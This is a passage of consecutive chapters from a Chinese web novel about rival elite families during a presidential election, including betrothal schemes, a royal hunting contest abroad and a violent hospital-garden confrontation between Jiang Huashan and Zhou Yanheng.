苏韵看了余笙一眼,立马解释,“原本我们是说好去我家的,但家里今天来了客人,我便想着来这躲清闲,但我一直没联系上阿笙,也就没来得及告诉她。” 说完,她又装模作样问道,“阿笙,你是不是去苏家了?” “我一直没等到你,就随便去大街上逛了逛。”余笙明白她的好意,但她了解余斯文,这样的谎根本应付不过去,索性半真半假坦白行踪。 余斯文,“正好,苏小姐要走了,你送送吧。” 余笙点头,主动拉着苏韵出了出厅。 “你怎么来了?” 余家出事后,所有人都在打假她爱女、高知、女权的人设,之前那些与她交好的权贵一夜之间全都消失了,苏韵这个时候能来实在出乎她的意料。 苏韵转身看着她,“我来看看你,给你发消息你都没有回,我担心你出事。” 余笙笑了笑,“我没事。” 沉默片刻,她眼里的笑意淡了许多,认真道,“你以后不要来找我了。” 苏韵微愣,神情不解,“怎么?是不是出什么事了?” “没有。”余笙摇了摇头,“就是觉得,我现在不需要朋友。” …… 第733章 抢夺视角 “回去吧,别联系了。” 不等苏韵回应,余笙率先转身离开。 虽然余笙和苏韵相交的时间并不长,但在她心里,苏韵算是她来鲸港之后,真正交心的朋友。 可这是波谲云诡的名利圈,朋友是很奢侈的事,一旦余斯文和那些人签署傀儡条约,她以后就注定要走腐烂的路,和她做朋友,苏韵没有好处。 主厅内,余斯文坐在主位正等着她,“送回去了?” 余笙点头。 余斯文见她情绪不高,知道她的心结还没打开,缓和的神色,“我看这位苏小姐对你不错。” 余笙神色淡淡,“她在鲸港地位尴尬,虽然有苏家托底,但过去的经历也算抹不去的污点,这种人,你只要顺着她的心思说两句好话,很容易就收服了。” 余斯文略有些意外,“我还以为你对她格外不同。” 当初他让余笙借机陷害苏韵,余笙说什么都不肯,眼下又把苏韵说得如此愚钝,倒叫人看不懂了。 余笙,“我与她结交,不过是想接近苏家,但苏家虽然认了她,却也没有否认苏妙的存在,显然,她这个苏家大小姐的身份份量不够。我如今身处危机,她也不能为我带来转机,所以我不想在她身上花心思了。” 余斯文沉默片刻,点头附和,“你能这么想就对了,同盟再多,也不如自己手上有权。之前跟你说的慈善大使的事情也该推进了,我已经部署好了,三天后正式召开记者发布会,向公众宣布这一利好消息。” 说着,他将提前准备好的稿子递给余笙,“你现在的形象急需挽回,网上那些话你不用回应,做好这件事,自然能堵住悠悠众口。” 余笙接过演讲稿,抿了抿嘴角。 “知道了。” * 苏韵心情低落回了苏宅,她隐约知道余笙为什么会拒绝她,但对余笙这种行为却不能理解。 如果她真的在意那些流言蜚语,就不会选择在这个时候拜访余家。 余笙,太小看她了。 苏管家正在院子里忙前忙后,冷不丁看见苏韵失魂落魄往正厅方向去,立马上前阻拦。 “小姐,里面有客人。” 苏韵这才回过神,“谁来了?” 刚刚她想地入神,完全没有留意院外停的是哪家的车? 苏管家压低了声音,小声道,“是关部长。” 两人正说话,屋里有了动静,苏敬琉和关楼一前一后走了出来,苏管家见状,立马跑了上去。 苏敬琉一脸客套,“非常时期,关部长慢走,恕不远送。” 关楼虚拳作揖,“老爷子留步,我这次来可是带了十足的诚意,还请老爷子认真斟酌。” 两人一番寒暄,关楼才笑着离开。 苏敬琉早就看见了一旁的苏韵,待人走后,脸上的笑容瞬间凝固,朝苏韵招了招手,“进来吧。” 苏家和关家并无往来,关楼这个时候上门拜访实在有些奇怪。 苏韵迟疑了片刻,小跑跟进主厅,见主厅角落摆着一堆贵重礼品,心中疑云更重,“爷爷,关伯伯怎么来了?” 苏敬琉冷哼了一声,“黄鼠狼给鸡拜年,不安好心。” 苏韵主动给苏敬琉倒了杯咖啡,“听说沈伯伯退下后,就数关伯伯的呼声最高,他来是找爷爷助力的?” 苏敬琉摇了摇头,接过咖啡时看了苏韵一眼,又摇了摇头。 苏韵一头雾水,“爷爷,怎么了?” 苏敬琉摘下银色镜片,“阿韵,爷爷问你,你平时有没有见妙妙和谁关系特别好啊?” 苏韵,“沈家那几位小姐和她关系都不错。” 苏敬琉摆摆手,“不是女生,男生。” “男生?这我就不知道了,爷爷您为什么突然这么问?”话说到一半,苏韵她突然反应过来,表情古怪,“是跟关伯伯有关?爷爷,您该不会是想让苏妙和关鹤联姻吧?” 之前苏敬琉提醒过她留意沈兰晞,所以,苏韵很自然跳过了自己。 苏敬琉犹豫片刻,点了点头,“关家那老头儿说关鹤和妙妙两人是欢喜冤家,还说关鹤对妙妙情根深种。” 苏韵对周宴珩、关鹤之流深恶痛绝,冷冷道,“爷爷,这种话您怎么能信?” 苏敬琉立马察觉出她的反常,“怎么?你和关家那小子有过节,他欺负过你?” “没有。”苏韵摇头,“我就是觉得这件事不要听信关家的一面之词,要不然,您还是先问问苏妙吧?” “哎。”苏敬琉轻叹了一声,他倒是想问,但那孩子成天人都见不着,他上哪去问? 苏韵知道苏敬琉在叹息什么,思忖片刻试探道,“爷爷,若是关家成了这次竞选的最后赢家,您是不是真的会考虑联姻的事?” 苏敬琉抬眸看了她一眼,讳莫如深,“韵韵,你该知道,一个家族的荣耀靠的不是哪一个人,而是全族上下。” “……” * 夜幕降临。 姜花衫趴在窗边和傅绥尔打电话。 傅绥尔故作不经意提起沈眠枝,知道她现在还是雷打不动去医院看周宴珩,气得再没有提过半个字。 姜花衫知道她的心思,但并没有刻意替沈眠枝解释,她主动绕过话题,询问傅绥尔的近况。 傅绥尔知道她想问什么,压低了声音,“我听你的,不管李家怎么邀请都没有上门拜见。刚刚舅公亲自打电话过来,说是要见我。” 知道傅绥尔要去S国,姜花衫立马想到了可以用傅绥尔的视角探查李家剧情。 未免李家的人对傅绥尔有防备之心,去之前她曾刻意叮嘱傅绥尔,不要表现出任何探索欲,李家收容沈澈后对沈家没有半点表示,如果真的有问题,一定会想尽办法联系傅绥尔。 “做的很好,千万小心。对了……还有一件事。”姜花衫顿了顿,“我记得你说过,每个周日你会跟着孔老师去一趟白王宫?” 傅绥尔,“没错,明天正好是周日,是有什么事情要交代吗?” 姜花衫,“如果可以,想办法让白密知道,沈归灵去了S国。” 沈归灵迟迟不回,原因只有两个,一,他被沈年扣押了,脱不开身;二,他在等一个绝佳的反杀机会。 但不管是哪个,白家人都会助他。 …… 第734章 围猎比赛 初入白王宫的门槛,傅绥尔只觉得目眩神迷。 白垩宫墙在赤道灼热的阳光下灼灼生辉,刺得人几乎睁不开眼;无数尖顶直刺青空,层层叠叠,披覆着耀目的琉璃金瓦,仿佛要融化在炽烈的天光里。 不愧是鼎鼎大名白家王室,宫殿如此奢靡,也不怕他们的臣子有意见? 从进入王宫第一道殿门开始,随处可见铠甲雪亮,长刀佩于身侧皇家侍卫兵,傅绥尔一路紧跟孔茂林,四处观察地形。 王宫这么大,守卫这么森严,也不知道能不能见到白家那傻子。 孔茂林见她一路鬼鬼祟祟、东张西望,抬头赏了她以脑门钉,“跟你说多少遍了?身即山河,节不可移。” 傅绥尔虽是A国人,但孔茂林一直遵循学术无国界的原则,对傅绥尔可算是倾囊相授,绝不藏私,傅绥尔不敢有辱教诲,立马挺直腰身,端正了猥琐的态度。 孔茂林在S国虽无实权,但因为家族与王室的渊源,被女王授予了王室导师的称号,地位不容小觑。不仅如此,眼下S国在职高官里,几乎有一半人都曾接受过孔茂林的指导,所以即便是王室成员也对客客气气。 因为挂着王室导师的头衔,所以每月周日孔茂林都会来白王宫指导王室功课,所谓的功课并非是常规学业,而是身为统治者的基本素养。 授课教室被安排在专门的宫殿,女王规定,没有庶务的王室都要过来听讲。 孔茂林进入宫殿后,提前到位王室成员立马上前打招呼,目光好奇打量傅绥尔。傅绥尔只当不知道,一边帮着孔茂林准备讲课资料,一边观察殿内的情况。 来听课的王室成员基本年纪都不大,最大的看着也不过十五岁,傅绥尔不免有些失望。 第一节课下课后,傅绥尔看准时机跟一群小孩儿打成一遍。 问了一圈才知道,原来今日王室有围猎比赛,那些成年的王室成员都去参加比赛了,说起这些事,小王子小公主们都是一脸的艳羡。 到了第二节课开始,傅绥尔的心思又飘了起来。 在她的认知里,姜花衫绝不会让她做一个件没有意义的事,既然她提出来了,就代表这件事很重要,如果没有机会,她必须想办法创造出机会。 虽然有心,但S国的国情和A国完全不一样,直到下课傅绥尔还是没想到什么联系上白密? 孔茂林见她收拾东西的时候无精打采,摇了摇头,“怎么了?一整天心不在焉。” 傅绥尔,“老师,我听他们说其他王室成员都去参加围猎比赛了?那是什么比赛啊?” 到底是年轻小姑娘,一点点新鲜事都被勾走了魂,孔茂林虽然不满,但还是耐心解释,“白家王室一直都是强权君制,不管是白普大帝还是女王陛下,他们都认为只有能做将军的勇士才能统治好国家,所以,每年这个时候,女王都会挑选一座城镇作为军事演习场所,S国所有成年男性经过层层筛选可以进入城镇围猎,以七天为期,占领的街道资源最多者可以得到女王赏赐。” 七天?衫衫说的是越快越好,这么等七天只怕会影响计划。 傅绥尔想了想,讨好看向孔茂林,“老师,这个比赛听着好有趣,我可以参加吗?” 如果她进入城镇,说不定就能找到白密了。 “你?”孔茂林被她这古灵精怪的想法逗笑了,“别你已经错过了报名去,就是让你进去,你也活不过一天。所有人进去第一件事就是招兵买马划分同盟,你一个外国人谁会搭理你?” 傅绥尔撇了撇嘴,“外国人怎么了?我去给他们上一课还可以扬我国威。” “哈哈,这种大话可不兴说?老师可没教过你这个。” 傅绥尔神情微动,一把搂着孔茂林的胳膊,“老师,纸上谈兵看不出厉害,这么好的机会,你能不能帮我争取一个名额啊?求求了?” 孔茂林想了想,挑眉,“真想去?” 有戏! 傅绥尔顿时两眼放光,小鸡啄米点点头,“想去想去。” 孔茂林打量了她片刻,拿她没办法摇了摇头,“行吧。刚刚的规矩我还没说完,进入小镇的人不仅要和竞争者打斗,还得通过各个考官的试验。这次,女王给了我一个考官名额,你想试试,就代替老师去吧。” 幸福来得太突然了,傅绥尔一把抱着孔茂林上蹿下跳,“老师,你太有实力了!” * 与此同时,鲸港。 苏妙正在公寓宿舍里收拾行李,虽然距离开学还有一段时间,但签证已经下来了,她打算提前过去适应环境。 “叮咚——” “来了。” 苏妙以为是自己点的外卖,随口应了一声,立马起身开门。宿舍不能开火,她整个暑假一直都是靠点外卖生存,至于点外卖的钱,都是从姜花衫那贷款的。 房门刚露出一条缝,她瞬间傻眼了,和苏妙整整对视了十秒,才不紧不慢打开门。 “怎么是你?” 因为过于意外,所以她的表现在苏韵看来过于冷淡。 苏韵在之前就已经设想过眼下的局面,神情淡淡,“我路过。” 苏妙表情古怪,一言不发看着她。 她们相处模式一直是这样,谈不上很糟糕,但绝对算不上友好。 苏韵沉默片刻,再次开口,“有件事,我觉得你应该有权知道。” 苏妙依旧只是一言不发地看着她。 苏韵,“昨天关伯伯忽然来家里做客,他送了很多贵重礼品,听爷爷的意思,他是准备向苏家提亲。” 苏妙终于有了一丝反应,“你要嫁给关家,找我炫耀什么?” “……”苏妙抬眸,对上她的眼神,“关家看上的不是我,是你。” 苏妙,“……” …… 第735章 未雨绸缪 鲸港这次的总统大选可谓大瓜云集。 沈谦原以为自己退出总统竞选,就能躲过舆论审判,但随着姚歌病情恶化,民众讨伐的声音越来越强烈,其中,最先沦为政治牺牲品的就是沈归灵。 有人揪着沈归灵私生子的身份不放,开始在网上招摇生事,嘲讽堂堂世家大族竟然允许私生子当堂入室,并指出沈归灵其身不正,不符合南湾征兵要求,要求驳回沈归灵少校军衔。 还有一部水军,竟然带节奏为沈年喊冤,堂堂正室所出大少爷,母亲被兽父和私生子联合逼害,他却有家不能回,暗讽沈谦私吞姚歌私人财产的嫌疑。 一时间,沈归灵和沈谦的风评差到了极点。 无独有偶,和沈归灵一起掉落神坛的还有在职总统千金,余笙。 余斯文在获得总统候选人提名的当天,顶着重大压力替女儿发声,宣称余笙的沉默并非因为心虚,而是因为她将所有的心思都放在了更重要的事情上,原本他们不出面解释,是因为相信谣言止于智者,但介于诋毁的声音越来越大,甚至已经严重影响到了余笙的正常生活,余生决定三日后召开记者发布会澄清事实。 最后,余斯文用充满骄傲的口吻说道,“大家很快就会再次认识余笙,并重新喜欢上她。” 这一波预热,无疑不是在告诉各界人士,余家准备反击了。 鲸和医院。 关鹤推着周宴珩在疗养馆附近散步。 “余家还真是丑人多作怪,余笙都被锤成饼了,余斯文竟然还想着翻身。” 周宴珩,“沈家怎么样了?” 周宴珩住院后,关鹤就成了他的信息收集站,只要鲸港时事有任何风吹草地,关鹤绝对是第一时间跑来医院报告。 提起沈家,关鹤肉眼可见地欢快了不少,“沈归灵不知道死哪去了,一直没有露面。也不知道是谁出的手,看样子是要整死沈归灵的节奏。” 一个靠着军功上位的私生子,要是军务总局真的驳回了沈归灵的少校军衔,沈归灵这辈子就算完了。 周宴珩扯了扯嘴角,眼里的光又冷又沉。 关鹤多少还是了解周宴珩了,见状立马拉住轮椅,走到面前打量他,“靠!真是的是你?你怎么做到的?” 鲸港城里敢这么跟沈家作对的没几个人,他原本怀疑周宴珩,但一想到他现在还在休养身体便觉得不太可能。 周宴珩,“顺手的事。” 关鹤只觉通体舒畅,竖起两个大拇指,想了想又觉得不对,“你家老爷子不是才和沈家缓和了关系,你突然对沈归灵出手,会不会被揍?” 这事不说还好,一说,周宴珩的脸色更差了。 鲸鱼岛的事,全程只有他和沈归灵知道真相。 原本他想利用身上子弹作为证据,但却被告知,沈归灵已经提前递交了枪械遗失的报告。连这一步都想好了,看来是早就盘算着要弄死他。 但最让周宴珩警觉的还是另外一件事,沈归灵就是一直没有出现的L,而且他竟然在明知他和沈年有牵扯的情况下继续刺杀,如此有恃无恐,说明他根本不在乎身份泄露。 还有一点,周宴珩也是最近才想通的。 他原以为,沈年是因为和沈归灵水火不容才告诉他沈归灵母亲的陵墓所在,但事实好像并非如此,沈归灵是同盟里最早的成员,说明沈年很早就已经拉沈归灵入伙了。 这么看来,沈年当初是故意泄露沈归灵的弱点,为得就是借他的手警告沈归灵。 虽然周宴珩并不在意与沈归灵结怨,但被人利用当枪靶又是另外一回事。 所以他醒来的第一件事,就是找沈年的茬。 关鹤见他脸色不好,不敢再问,从兜里掏了个苹果递上前,“诺。” 周宴珩皱眉,一脸嫌弃拍开他的手,“余家背后一定有人,你们要是找不到余斯文背后支持者,你父亲就是下一个沈谦。” 关鹤眼神微闪,“我爸也是这么说的,所以,三日后余笙的澄清会至关重要。我爸已经安排了人……到时候……就……” 悄咪咪泄露完所有的机密,关鹤贼眉鼠眼做了个封嘴的手势,“我爸说了,这事不能告诉任何人,我可是当你是好兄弟才告诉你的,你千万保密。” “……”周宴珩的表情一言难尽。 两人说话的功夫正好经过疗养公园的绿化带,转过花坛便看见两个熟悉的面孔正在花架下聊天。 “……” * 第736章 周宴珩,你的心跳在打鼓 空气瞬间凝固了。 蝉鸣、远处模糊的人声、甚至风掠过树叶的沙沙声,都在这一刻被抽离,只剩下两人之间那几尺距离里,无声流淌的、近乎粘稠的对峙。 姜花衫手腕一转,花扇收拢,那张明艳的脸上,惊愕只如蜻蜓点水般掠过,快得几乎抓不住痕迹。下一秒,她红唇便弯了起来,带着惯常娇慵和挑衅,歪着头朝周宴珩招了招手。 “你找枝枝吗?她……刚刚从这里过去,你现在要是用力转圈,说不定还能追上?” 周宴珩撩着眼皮,不冷不热看着她。 姜花衫双手一摊,皮笑肉不笑,“追不上也没办法,我是不会推你过去的。” 说着,摊开扇面,一脸悠哉从周宴珩身边路过。 两人并肩平行式,周宴珩转动轮椅侧过身,懒懒伸出一条拦住了姜花衫的去路。 姜花衫脚步一顿,噙在嘴角的笑瞬间凝固,她偏过头,面无表情看着周宴珩。 周宴珩穿着蓝白条纹的病号服,衬衫领口随意敞着,露出小半截缠着白色纱布的脖颈,那点白在阴影里显得尤其刺眼,再配合他脸上的伤,足以昭示着不久前的那场刺杀有多刺激。 他缓缓抬眸,语气寻常,“你怎么会在这?来看望姚歌?沈归灵呢?他怎么没有来?” 姜花衫转过身,面对面与他对视,“周宴珩,医生有没有告诉你,打了钢板的腿是不能乱伸了?因为……” 周宴珩眉心一跳,突然腾升出一种不祥的预感,正要收腿,但已经来不及了。 姜花衫完全不按常理出牌,一把抓住他的腿,原地一百八十度转了个方向,推着他的腿连人带车出了花架。 周宴珩死死抓着扶手两侧,他试着伸腿挣扎,但腿上才好一点,要是强行拽出来只怕又要重新动一次手术。 无奈之下,只能闭了闭眼,“姜花衫,你给我停下!” “停不了。” 姜花衫利用那只腿当成支点,像推手拖车一样推着周宴珩一路飞驰。 “……” 看她这么癫,周宴珩不禁有些后悔刚刚刻意支开关鹤和保镖。 “你推我去哪?” 姜花衫不语,吁吁喘着粗气,转入绿化带才松开周宴珩,没等周宴珩反应,她伸腿一脚踹翻轮椅,周宴珩连人带椅直接反倒在地。 周宴珩疼得倒吸了一口凉气,这段时间被周家人把他当皇帝一样供养着,姜花衫这一脚,耗损了他半个月的休养不说,直接让他梦回刺杀夜。 “疼吗?”姜花衫看着弓着虾状的周宴珩,蹲下身,一脸无辜,“疼就对了,因为我就是故意的。” 周宴珩身体轻颤,呜咽了一声缓缓动了动胳膊,他似乎想抬手,但不知什么原因一直使不上劲。 姜花衫记得,沈归灵曾经说过,他打穿了周宴珩的四肢,这么看来,这狗东西是想爬爬不起来了。 她冷哼了一声,抬脚踩住周宴珩的手掌,“坏东西!下次再敢堵我,就不是疼这么简单了。” 周宴珩抬眸,被踩中的手掌忽然包裹着姜花衫的鞋面用力拖拽,姜花衫一直失去重心,周宴珩翻身翻扑了上去。 “胆子不小,沈归灵没教过你,不要随便靠近别的男人吗?” 姜花衫没想到周宴珩竟然这么狠,为了牵制他,他两侧的肩膀已经渗出了血迹,这是打算拼着双手不要也要跟她硬刚到底。姜花衫眯了眯眼,屈膝对着周宴珩的下腹顶了过去。 周宴珩眉心直跳,侧身躲了过去,趁着这松懈的空隙,姜花衫翻身滚出半米远,正要爬起身,周宴珩一把拽着她的脚踝,将她拖向自己。 姜花衫用力蹬腿,甚至几次踢到了周宴珩的脸,周宴珩也只是偏了偏头,手指上的力比钢铁还硬。姜花衫回身看了一眼,见这样下去也不是办法,脚尖对着周宴珩的肩膀踹去。 改变攻击明显奏效,周宴珩闷哼了一声,握着她脚踝的掌心微微松懈,但很快,他又清醒过来,咬紧牙槽跪地直起上身,另一只手精准握住姜花衫另一只乱蹬的腿,双手绕过脚踝紧紧缠着她小腿。 姜花衫愣了愣,没等她反应过来,身体被强制翻了个面,周宴珩一只手掐着她的脖子,两侧的绷带已经被挣开,渗透衣服的血水悬空落在她的鼻尖。 血珠悬在鼻尖,带着铁锈味的温热,两人都在剧烈地喘着气,胸膛起伏碰撞。 周宴珩一点一点俯下身贴着她的耳畔,声音戏谑,“你要是每次都这么多前戏,我可吃不消。” 他掐着脖颈的指尖兴奋到颤抖不止,猩红的眼底翻涌着稠化不开的墨色,里面燃烧的不仅仅是被疼痛激发的戾气,还有一种更原始的的掠夺欲。 姜花衫面无表情看着他,“滚下去。” 周宴珩低笑了一声,笑容褪尽,扭动她的脖子让她面对自己,“我之前对你是不是太好说话了?所以才让你觉得可以跟我说滚字?既然如此,那我们换个方式相处。” 他喜欢姜花衫现在看他的眼神,愤怒、不甘,因为惊怒而微微张开的唇,更是色泽诱人。 周宴珩眼神微暗,低头亲了上去。 就在两人鼻息间距为零时…… “呃——!” 一声短促到几乎破碎的呻吟声从周宴珩的喉咙深处溢了出来,周宴珩俯冲的动作瞬间僵死,那双燃烧着欲念和暴戾的眼睛,瞳孔骤然放大到极致,脸上的血色瞬间褪得干干净净,甚至比之前失血时更加惨白。 掐着姜花衫脖子的手,因为那无法想象的剧痛而失去了所有的力量,软软地滑落。缠着她小腿的手臂也瞬间松开,整个人像被抽掉了所有骨头。 姜花衫一脸晦气收回屈膝的腿,迅速翻身站起,擦掉鼻尖的血色,装出一副好心的样子关心道,“疼不疼啊?要是以后不能用了可不能怪我哟,毕竟,我也是听了你的话才这样的。” * 上一世,周宴珩也曾这样把她压在身下放她反抗。 她每次都是提前踹,对此周宴珩总说她蠢钝如猪。 “男人上火的时候你踹他命根子就是找死。” “那我该什么时候踹?” “听他的呼吸和心跳?” “……” “你真是……蠢得不知所谓!一个男人如果要上你,心跳和呼吸毫无变化就是玩你,你踹他就是找死。” “那如果心砰砰砰,呼吸听不见呢?” “在床上,你能要他的命。” “……” “怎么了?” “周宴珩,你的心跳在打鼓。” “……” …… 第737章 你要当舔狗,爷爷不同意 阳光毫无遮挡地炙烤着地面,空气里弥漫着血腥味、汗味和尘土的气息。 周宴珩蜷缩在滚烫的水泥地上,身体因为极致的痛苦而间歇性地抽搐着,每一次抽搐都带来更深的窒息般的闷哼。他脸上是褪尽血色的惨白,额发被冷汗浸透,狼狈地贴在皮肤上,哪里还有半分之前的强势与掌控?只剩下被生理本能击溃的脆弱和痛楚。 此时,姜花衫的背影已经消失在灌木带,但她施加在他身上的灭顶之灾却没有半点消散的痕迹。 * 姜花衫出了绿化带,一路骂骂咧咧。 她刚刚那一脚下手不轻,周宴珩变太监都有可能,勉强也算解了心头之恨。只是,这么横插一脚,也不知道会不会影响沈眠枝的剧目。 但后来转念一想,周宴珩变太监更好,这样不就完美避开了沈眠枝未婚先孕的剧情?虽然她对现在的沈眠枝很有信心,但多一重保障总是好的。 想通之后,姜花衫不禁有些后悔,刚刚她光顾着听心跳和呼吸了,忘记找角度了,周宴珩以前可是教过她,怎么一招致废的? 姜花衫刚走进住院部,正好碰见沈兰晞从电梯里出来。 她刚打了一架,这会儿正在气头上,原本想当没看见,没想到沈兰晞直接走到了面前。 “怎么了?” 姜花衫左右看了看,“什么怎么了?” 她当然不会告诉沈兰晞,周宴珩堵她,她差点把人打废。 沈兰晞抬手,取下她沾在头上的草屑,目光淡淡扫过她被擦伤的胳膊,最后落在秀气的鼻尖,那点血渍并未完全擦干,还留了一点残存的痕迹。 “你受伤了?” “哦,这个啊!我刚刚追一只狗不小心窜进了草丛。” 沈兰晞知道她没说实话,皱了皱眉,“伤口要处理,先回家吧。” 姜花衫摆摆手,“小事,我等女王一块儿回去。” 姚歌再怎么说现在还是沈家的媳妇,出了这么大的事,沈家人自然要来看望。 姜花衫因为记恨姚歌对沈归灵的所作所为,懒得上前凑热闹,便跟沈娇约好在楼下等,当然,这只是一方面,她不想跟沈兰晞牵扯才是真的。 沈兰晞,“小姑姑临时有事,让我送你回家。” 姜花衫看了沈兰晞一眼,见他神色寻常便也没有多想,点了点头,“行吧。那现在走?” 再晚一秒,也不知道周家会不会带人找上来。 “好。”沈兰晞应了一声,与她并肩出了住院楼。 * 十分钟后,一楼大厅的电梯缓缓打来,沈娇身姿优雅走了出来。 转头环顾一圈,不见姜花衫的身影,正准备拿出手机,候在大厅的保镖立马上前汇报,“少爷让我转达夫人,姜小姐他先送回去了。” 沈娇认识眼前的保镖,来的时候他就一直跟在沈兰晞身后,沈娇不疑有他,“这孩子,还打算带她去谈谈画展的事,怎么一刻都待不下?” * 车里。 姜花衫为了避免和沈兰晞聊天,装作很忙的样子盯着窗外四处张望。 沈兰晞怎会察觉不出她的心思,神色淡淡,没有表现出任何情绪。等到车辆进入平缓路段,才不急不慢从脚下拿出一只医药箱。 姜花衫冷不丁闻到一股消毒药水的味道,刚回过头,沈兰晞很是自然握着她的手腕,用蘸取生理盐水的棉签轻轻擦拭她胳膊的伤口。 气氛一时变得有些古怪。 姜花衫下意识抽了抽手,却被沈兰晞不轻不重按下。 “一会儿就好了。” 姜花衫不自在扭了扭脖子,面无表情,“疼。” 沈兰晞愣了愣,这声疼就像一颗小石子,突兀地砸进他精密运转却唯独缺乏情感润滑的思维齿轮里,画圈的棉签骤然悬在空中。 空气凝滞了几秒,车内只有引擎平稳的低鸣和空调送风的细微声响。 沈兰晞盯着伤口迟疑一秒,轻轻咽了咽嗓子,带着一种近乎笨拙的试探性,对着那道伤口轻轻吹了一口气。 “呼——” 气流很轻,很缓,带着他微凉的体温,如羽毛般拂过创面。 姜花衫的胳膊猛地一缩!不是因为疼,而是因为沈兰晞这口‘仙气’让她感觉到了一丝诡异的麻痒感,这感觉顺着胳膊一路窜上脊椎,现在整个后背的汗毛都竖了起来。 沈兰晞是不是撞邪了? 帮她上药就已经够邪门了,还给她呼呼?! “这样……还疼吗?”沈兰晞也有些无所适从,他从没有像这样刻意讨好过谁,就算是沈庄也不曾,所以他并没有把握一次就能做得很好。 姜花衫只觉得一股无名火混着强烈的别扭感直冲脑门,她用力往回抽手,声音都带上了一丝不易察觉的尖锐:“沈兰晞!你放开!我自己来!” 沈兰晞的指尖有些僵硬,片刻后才应了一声,“好。” 这声音比平时更低,更平,没有任何情绪起伏,却像一块沉重的石头投入死水。 车厢内再次陷入一种比之前更古怪的寂静。 姜花衫抱着胳膊,斜斜打量着沈兰晞一眼,完全没有要上药的意思。 沈兰晞闭了闭眼,忍住揉头的冲动,主动换了一只新棉签,沾了消毒水递给她,“虽然是小伤,但今天最好还是避免碰水,伤口结痂才能好的更快。” “……” 姜花衫一脸惊恐,“沈兰晞,你……是不是做了什么对不起我的亏心事?” 沈兰晞面无表情看着她。 “不是?那你是不是有求于我?别的事也不至于求我,跟爷爷有关?” “哦!我知道了,是不是爷爷要帮你定亲,你有喜欢的人但是爷爷不同意,你想找我当说客?” 沈兰晞终于有了反应,“谁告诉你我有喜欢的人?” 姜花衫想了想,“清予哥。” 实则沈归灵和沈清予都上了眼药水,她单方面出卖了沈清予,毕竟沈清予还有个顾家撑腰。 沈兰晞,“他还说了什么?” “他说你喜欢人家,可人家不喜欢你,你要当舔狗,爷爷不同意。” “……” …… 第738章 譬若骄子,不可用也 沈兰晞此时的沉默震耳欲聋。 姜花衫多少有些了解他,摆了摆手,“其实我知道,这些话是沈清予故意抹黑你的,不能当真。” 沈兰晞眼睑微微轻抬,淡漠的眸光闪过一抹微光。 姜花衫精准捕捉,冲他使了个眼神,“你这人虽然没什么优点,但有一点可以肯定,你绝对不会做舔狗。我说的对不对?” 沈兰晞不置可否,等着她的下文。 “说中你心声了是不是?我啊不仅知道你为什么要故意骗爷爷,还知道你喜欢的那个人是谁。” 沈兰晞的喉结几不可察地滚动了一下,眸底似乎有什么东西在悄然融化。 姜花衫悄悄探过身,用只有他们两人才能听到的声量小声道,“是苏韵,对不对?” “……” 空气仿佛凝固了。 沈兰晞眼底那抹微弱的光,瞬间熄灭。 姜花衫太知道他摆脸色是什么样子了,皱眉瞪了他一眼,“你这是什么眼神?你放心,你这次肯定得偿所愿。” 苏韵现在是苏家光明正大的大小姐,苏沈两家联姻对沈家只有好处没有坏处,她上一世又不知道沈兰晞的官配另有她人,现在既然知道了,当然只想办法让利益最大化。 这一世,沈兰晞娶了想娶的人,就不会再和爷爷有矛盾,这样他就能放下芥蒂全心全意守护爷爷,不会被有心之人钻了空子。 沈兰晞的沉默持续着,比刚才更加沉重,许久后,才缓缓抬眸看着她,“苏韵?” 所以,这也是她放弃他的原因之一? 某个时空,他因为苏家一个外人伤了她的心? 沈兰晞的眸光彻底冷了下来,比之前任何时刻都要冷,他转过视线,面无表情看向窗外。 不过就是暴露了苏韵,用得着摆脸色给她看吗? 这种‘清冷佛子’为爱破戒,冷心冷肺只为一人展露笑颜的剧目受众到底是谁啊?反正作为被‘清冷佛子’冷暴力的炮灰前妻,姜花衫表示忍不了一点,当即冷嗤了一声,头一歪扭向自己的窗外。 “……” 沈兰晞眉心跳了跳,忽然意识到自己好像又弄错了重点,他刚才只是忽然想到什么陷入了深思,并没有要甩脸色的意思。 思忖片刻,他转头看向隔壁,姜花衫双手抱胸,光是从后脑勺都能感觉出一副不好惹的样子。 “……”沈兰晞直觉头疼。 从小到大都是别人追着他奉承,他什么时候低过头? 实在是……不习惯。 “少爷,小姐,到了。” 天人交战的功夫,司机已经把车开到了沈园门口。 沈兰晞清咳了一声,正要开口,姜花衫头也不回拉开车门,砰地一声摔下车,声响震动,把车里的人都吓了一跳,司机立马回头看向沈兰晞。 “……” 沈兰晞暗暗叹了口气,赶紧下车大步追上姜花衫解释。 “我刚刚……” 姜花衫脚步一顿,转身用力推了他一把,“起开。” 沈兰晞没想到她敢直接动手,一时不防直接从回廊跌了出去。姜花衫翻了个白眼,头也不回转身就走。 她这种动不动就上手的习惯到底是跟谁学的。 沈兰晞站起身,闭眼捏了捏眉心,拍了拍身上抬步正要追,郑松忽然从正厅走了出来。 “兰晞少爷。” 沈兰晞身形一顿,这才想起来老爷子这会儿还在正厅等他。 一番权衡,沈兰晞跟着郑松去了正厅。 正厅里,沈庄正在茶室摆棋,见沈兰晞进厅抬眸打量了一眼,笑着道,“你又怎么惹着小花儿了?刚进门就打起来了?” 沈兰晞难得有些不自然,“没什么,一点小事。” 沈庄指尖一顿,“一点小事她就打你?这孩子,真是越来越不像话了。” 见沈兰晞没吭声,老爷子又道,“不过,你是哥哥,又是男人,皮糙肉厚的打一下也不碍事,不许还手啊。” 沈兰晞早就已经习惯了沈庄的偏心,主动入座,“知道了。” “嗯~”沈庄见他没有一丝不悦,略有些欣慰点了点头,“这就对了。” 沈兰晞的性子说好听一点就是有原则,说难听就是古板,而姜花衫的性子太过跳脱,和沈兰晞完全是相反的对立面,之前沈庄还有些担心,若是有天自己不在了,沈兰晞未必能容得下姜花衫,现在看,倒是他多虑了。 “行了,说正事吧。” 沈庄将一篓白玉棋子递给沈兰晞。 沈兰晞会意,双手接过。 沈庄执起一枚黑棋,指尖摩挲着玉石的圆润,“老大媳妇怎么说?” 沈兰晞,“伯母希望沈年能回国。” 沈庄眼里的情绪有些复杂,抬手落下一子,“查清楚纵火的原因了?” 沈兰晞几乎没有犹豫,执白棋对峙,“现场勘察和伯母口供几乎一致,确定是自杀。” “以死相逼,这是没有给我留后路啊。” 沈兰晞,“爷爷,放沈年回来吧。” 沈庄正要落子,指尖微顿,神色沉重。 沈兰晞不紧不慢,淡淡道,“当务之急平息舆论最重要。沈年如果这么想回来,就让他回来吧,爷爷您已经保了他这么多年了,您看他知错吗?” 